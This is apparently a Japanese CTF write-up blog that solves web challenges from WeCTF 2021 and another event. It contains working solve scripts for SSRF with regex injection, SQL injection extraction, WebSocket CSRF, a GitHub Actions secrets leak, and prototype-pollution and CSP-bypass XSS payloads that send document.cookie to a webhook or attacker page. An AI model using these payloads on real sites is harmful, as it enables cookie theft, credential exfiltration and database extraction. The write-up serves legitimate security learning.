/* 49 */       if (urlURI.getHost().toLowerCase().contains("couchdb"))
/* 50 */         throw new ForbiddenResponse("Illegal!"); 

couchdbIPアドレスを特定すればよいのかなあとか考えたが、よく考えるとA New Era of SSRFのような感じでURLパーサをごまかしてしまえばよかった。http://hoge@couchdb:5984@fuga/ を投げると、このチェックではなぜかホスト名が空文字列になるものの、その後のHTTPリクエストはちゃんと couchdb:5984 に送られる。

あとはRequesterとほぼ同じことをするだけ。ただ、なぜかBlind Regex Injection部分が動かなかった (レスポンスが返ってくる時間に差異がなかった) ので、^(既知の部分)(試す文字).*.(a*を100回繰り返す)(.*) を投げるとなぜか正解を引き当てたときにエラーが発生するという挙動を使ってフラグを得た。

import requests
import json
import string

username = 'nekoneko'
password = 'W1t306yCryjcVGsU'

def query(known):
  data = json.dumps({
    'selector': {
      'flag': {
         '$regex': '^' + known + '.*.' + 'a*' * 100 + '(.*)'
      }
    }
  })

  req = requests.get(f'https://requester-strikes-back.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdb:5984@fuga/{username}/_find&data={data}')
  return 'Something went wrong' in req.text

known = 'fla'
while True:
  for c in string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''):
    if query(known + c):
      known += c
      break
  print(known)
flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}

[Web 265] pastebin-2-social-edition (17 solves)

コメントができるPastebinみたいな感じ。adminにノートのURLを報告するとコメントを投稿してくれる。

innerHTML で検索すると以下の2箇所がヒットする。使われているDOMPurifyのバージョンは2.2.9だから自分でDOMPurifyの脆弱性を見つけない限り前者は使えない。後者はコメントの投稿時にAPIがエラーを返せばその内容を出力するというものだが、エラーメッセージにはユーザ入力が含まれないし、そのままでは使えないように思える。しかし、正常にコメントが投稿された場合には errormessageundefined であるから、もしPrototype PollutionができればXSSに持ち込める。

  document.querySelector('.paste').innerHTML = DOMPurify.sanitize(content);
    // if there's an error, show the message
    if (error) errorContainer.innerHTML = message;
    // otherwise, add the comment
    else {
      errorContainer.innerHTML = '';
      addComment(author, content);
    }

Prototype Pollutionはここ。フォーム内の各 fieldset について result[(fieldsetのname属性)][(inputのname属性)] = (inputのvalue) をしているので、__proto__ という name 属性を持つ fieldset を作ってやればPrototype Pollutionができる。

  // get form data into serializable object
  const parseForm = (form) => {
    const result = {};
    const fieldsets = form.querySelectorAll('fieldset');
    for (const fieldset of fieldsets) {
      const fieldsetName = decodeURIComponent(fieldset.name);
      if (!result[fieldsetName]) result[fieldsetName] = {};
      const inputs = fieldset.querySelectorAll('[name]');
      for (const input of inputs) {
        const inputName = decodeURIComponent(input.name);
        const inputValue = decodeURIComponent(input.value);
        result[fieldsetName][inputName] = inputValue;
      }
    }
    return result;
  };

以下のような内容のノートを作ってやってadminに報告するとフラグが得られた。

<form>
  <fieldset name="__proto_%255f">
    <input name="error" value="a">
    <input name="message" value="<img src=x onerror='navigator.sendBeacon(`https://webhook.site/…`,document.cookie)'>">
  </fieldset>
  <fieldset name="params">
    <input name="author">
    <input name="content">
    <input type="submit">
  </fieldset>
</form>
flag{m4yb3_ju57_a_l177l3_5u5p1c10u5}

WeCTF 2021 writeup

6/20 - 6/21という日程で開催された。zer0ptsで参加して4位。ほぼWeb問オンリーという私好みのCTFだったし問題の質が高くて楽しかったけれども、PingとURL Binという難しめの問題が解けなかったのがつらい。

[Web 50] GitHub (23 solves)

GitHub Actionsで悪いことをするやつ。GitHubのユーザ名を入力すると、GitHub Actionsが導入されたプライベートリポジトリに招待される。リリース時に走るスクリプト (docker.yml) とプルリクエスト時に走るスクリプト (pr.yml) がある。

docker.yml

name: Publish Docker
on: [release]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@master
    - name: Publish to Registry
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: wectfchall/poop
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

pr.yml

name: Say Hi

on: [pull_request]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2
    - name: Say Hi
      run: |
        echo "hi!!"

pr.yml を書き換えるプルリクエストを送ると、その書き換えた後のスクリプトが実行されてしまう。ptr-yudaiさんが curlsecrets.DOCKER_USERNAMEsecrets.DOCKER_PASSWORD を抜き出し、このクレデンシャルでDocker Hubのレジストリにログインできることを確認していた。docker run --rm -it wectfchall/flag でフラグ。

[Web 143] Cache (65 solves)

adminしか閲覧できない /flag というエンドポイントがある。ただ、以下のように .css .js .html という拡張子のページであれば10秒間キャッシュされる上に、/flag/hoge.css というようなパスでも /flag と同じコンテンツが返ってくる。これを使って、adminに /flag/hoge.css をアクセスさせた後に急いで自分もアクセスすればフラグが得られる。

class SimpleMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request: HttpRequest):
        path = urllib.parse.urlparse(request.path).path
        if path in CACHE and CACHE[path][1] > time.time():
            return CACHE[path][0]
        is_static = path.endswith(".css") or path.endswith(".js") or path.endswith(".html")
        response = self.get_response(request)
        if is_static:
            CACHE[path] = (response, time.time() + 10)
        return response

[Web 379] Coin Exchange (62 solves)

WebSocketでCSRF

<script>
let wait = t => new Promise(r => setTimeout(r, t));
let ws = new WebSocket('ws://coin.sg.ctf.so:4001/', "ethexchange-api");
ws.onopen = async () => {
  await wait(500);
  ws.send(JSON.stringify({
    type: 'buy',
    content: {
      amount: "9999"
    }
  }));
  await wait(500);
  ws.send(JSON.stringify({
    type: 'transfer',
    content: {
      amount: "4.5",
      to_token: "854a7fc3322dfdc20176eba89c432a8db1e0f3b0020b44bdaa8829bbddbde137"
    }
  }));
};
</script>

[Web 592] Phish (110 solves)

SQLiteのSQLi問。INSERT 中でSQLiができるが、そのクエリの結果は成功したか失敗したかの1ビットでしか得られない。Error-basedにフラグを抜き出す。

import requests

HOST = 'http://phish.ny.ctf.so/'

def query(payload):
  r = requests.post(HOST + 'add', data={
    'username': payload,
    'password': ''
  })
  return 'integer overflow' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    r = query(f"'),('',abs(-9223372036854775807 - case when unicode(substr((select group_concat(password) from user where username = 'shou'), {i}, 1)) & {1 << j} then 1 else 0 end)) -- ")
    if r:
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

[Web 925] CloudTable (23 solves)

MySQLのSQLi問。CREATE TABLE 中のカラム名でSQLiができる。MySQLでは CREATE TABLE … SELECT 構文が使えるので、これで information_schema.tables からテーブル名を抜き出したり、フラグの格納されたテーブルからレコードを抜き出したりする。

その後に作成される権限の弱いユーザでは FILE 権限がなくてローカルファイルが読めない/書けないし、LOAD DATA INFILE も使えないしで、最初のSQLiで抽出したデータを読むことぐらいしかできない。

reCAPTCHAの悪口を言いながら test` text) select flag from cloudtable.flag; # という名前のカラムを持つテーブルを作成すると、そのレコードとしてフラグが入っている。

[Web 994] CSP 2/3 (19 solves)

単純なXSSのあるWebアプリケーションだが、default-src 'none'; script-src 'nonce-(ランダムに生成された文字列)'; … というような感じの厳しいCSPがある。以下のような悪用してくれと言わんばかりのヤバいスクリプトがあるが、これを使うにはCSPの都合上 nonce を特定する必要がある。

function add_js(filename, nonce) {
  var head = document.head;
  var script = document.createElement('script');
  script.nonce = nonce;
  script.src = filename;
  head.appendChild(script);
}
window.onhashchange = () => {let query = window.location.hash.substr(1).split('@'); add_js(query[0], query[1])};

CSPを発行するコードを見ると、report_uri_string というプロパティが report-uri ディレクティブに挿入されていて怪しい。ここに自分の管理下にあるWebサーバのURLを挿入できれば、CSP違反のレポートから nonce抜き出せるはず。

(script-src ディレクティブを report-uri の後に挿入すれば unsafe-inline を許可させられるのではないかと最初考えたが、重複するディレクティブが出現した場合には先に出現したものが優先され、後に出現したものは無視されるために無理っぽい)

<?php


namespace ShouFramework;
require_once "Typed.module";

class CSP extends Typed
{
    public $report_uri_string;

    protected function construct()
    {
        $this->report_uri_string = '/report_csp';
    }

    public function generate_nonce(){
        $rand_val = sha1(uniqid("", true));
        return base64_encode("$rand_val");
    }

    public function add_csp($nonces){
        $nonce = "";
        foreach ($nonces as $_nonce) $nonce .= "'nonce-$_nonce' ";
        header("Content-Security-Policy: trusted-types 'none'; object-src 'none'; default-src 'none'; script-src $nonce; script-src-elem $nonce; script-src-attr $nonce; img-src 'self'; style-src $nonce;style-src-elem $nonce;style-src-attr $nonce; base-uri 'self'; report-uri $this->report_uri_string;");
    }

    protected function destruct(){}
}

index.php を読むと unserialize をそこら中で呼んでいてとてもInsecure Deserializationっぽい。特にこの UserData のコンストラクタは user というGETパラメータを unserialize していて、容易に適当なオブジェクトを作れそう。

class UserData extends \ShouFramework\Typed {
    public $token_string;

    protected function construct() {
        if (isset($_GET["user"])) {
            $user = unserialize($_GET["user"]);
            if (get_class($user) != "UserData") \ShouFramework\shutdown();
            $this->token_string = $user->token_string;
        }
        // unauthenticated request
        $this->token_string = uniqid("", true);
        return $this;
    }
    protected function destruct(){}
}

ということで、まず unserialize されると CatWithHashGet を含む UserData が作られる文字列を出力するスクリプトを書く。CatWithHashGet はデストラクタが呼ばれると個別の記事ページが表示される。CatWithHashGet の持つ csp_object プロパティはCSPヘッダを発行するオブジェクトであり、これのプロパティをいじることで report-urihttp://example.com/log.php に書き換えられるようにしている。

index.php

<?php
require 'csp.php';

class CatWithHashGet {
  public $user_object;
  function __construct() {
    $this->template_object = new \ShouFramework\Template;
    $this->csp_object = new \ShouFramework\CSP;
  }
}

class UserData {
  function __construct() {
    $this->a = new CatWithHashGet;
    $this->a->user_object = &$this;
  }
}

$obj = new UserData;
echo str_replace(" ", "%20", serialize($obj)) . "\n";

csp.php

<?php
namespace ShouFramework;

class CSP {
  public function __construct() {
    $this->report_uri_string = "http://example.com/log.php";
  }
}

class Template {

}
$ php gen_serialized_object.php
O:8:"UserData":1:{s:1:"a";O:14:"CatWithHashGet":3:{s:11:"user_object";r:1;s:15:"template_object";O:22:"ShouFramework\Template":0:{}s:10:"csp_object";O:17:"ShouFramework\CSP":1:{s:17:"report_uri_string";s:26:"http://example.com/log.php";}}}

出力された文字列にセミコロンを加えて (加えないと Program integrity violated と表示されるのはなぜですか? Typed.module がなんかチェックしていたのは知っていますが、なぜセミコロンを加えるとバイパスできるんですか?) http://csp2.sf.ctf.so/?method=post&hash=(記事のID)&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}} にアクセスすると、無事 report-uri が書き換わったページが表示された。

f:id:st98:20210621032338p:plain

XSSの起こる <script>test</script> というような内容の記事を投稿し、先程の report-uri が書き換わるペイロードをその記事のURLに付け加えてアクセスすると、以下のようにCSP違反を報告するレポートが http://example.com/log.php に送られる。これで log.php 側は nonce を知ることができる。

f:id:st98:20210621032636p:plain

これで最初のヤバいスクリプトを悪用する準備が整った。nonce が届くと nonce.txt に書き込む log.php と、nonce.txt が作成されれば #data:,(JavaScriptコード)@(特定したnonce)iframe のURLに付け加える index.php を用意する。index.php を置いているURLを報告するとフラグが得られた。

index.php

<?php
$hash = 'd113a7153458978273bbf83141b5737f7cf38342'; // <script>test</script>
$url = "http://csp2.sf.ctf.so/?method=post&hash=$hash&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}}";
?>
<iframe src="<?= $url; ?>" id="iframe"></iframe>
<script>
let iframe = document.getElementById('iframe');
let id = setInterval(async () => {
  try {
    const a = await fetch('nonce.txt');
    if (!a.ok) {
      return;
    }

    const nonce = await a.text();
    console.log(nonce);
    clearInterval(id);

    iframe.src += '#data:,top.postMessage(document.cookie,"*")@' + nonce;
  } catch (e) {

  }
}, 200);

window.onmessage = e => {
  (new Image).src = 'log2.php?' + e.data;
};
</script>

log.php

<?php
$body = file_get_contents('php://input');
preg_match("/'nonce-(.+?)'/", $body, $matches);
$nonce = $matches[1];
file_put_contents('nonce.txt', $nonce);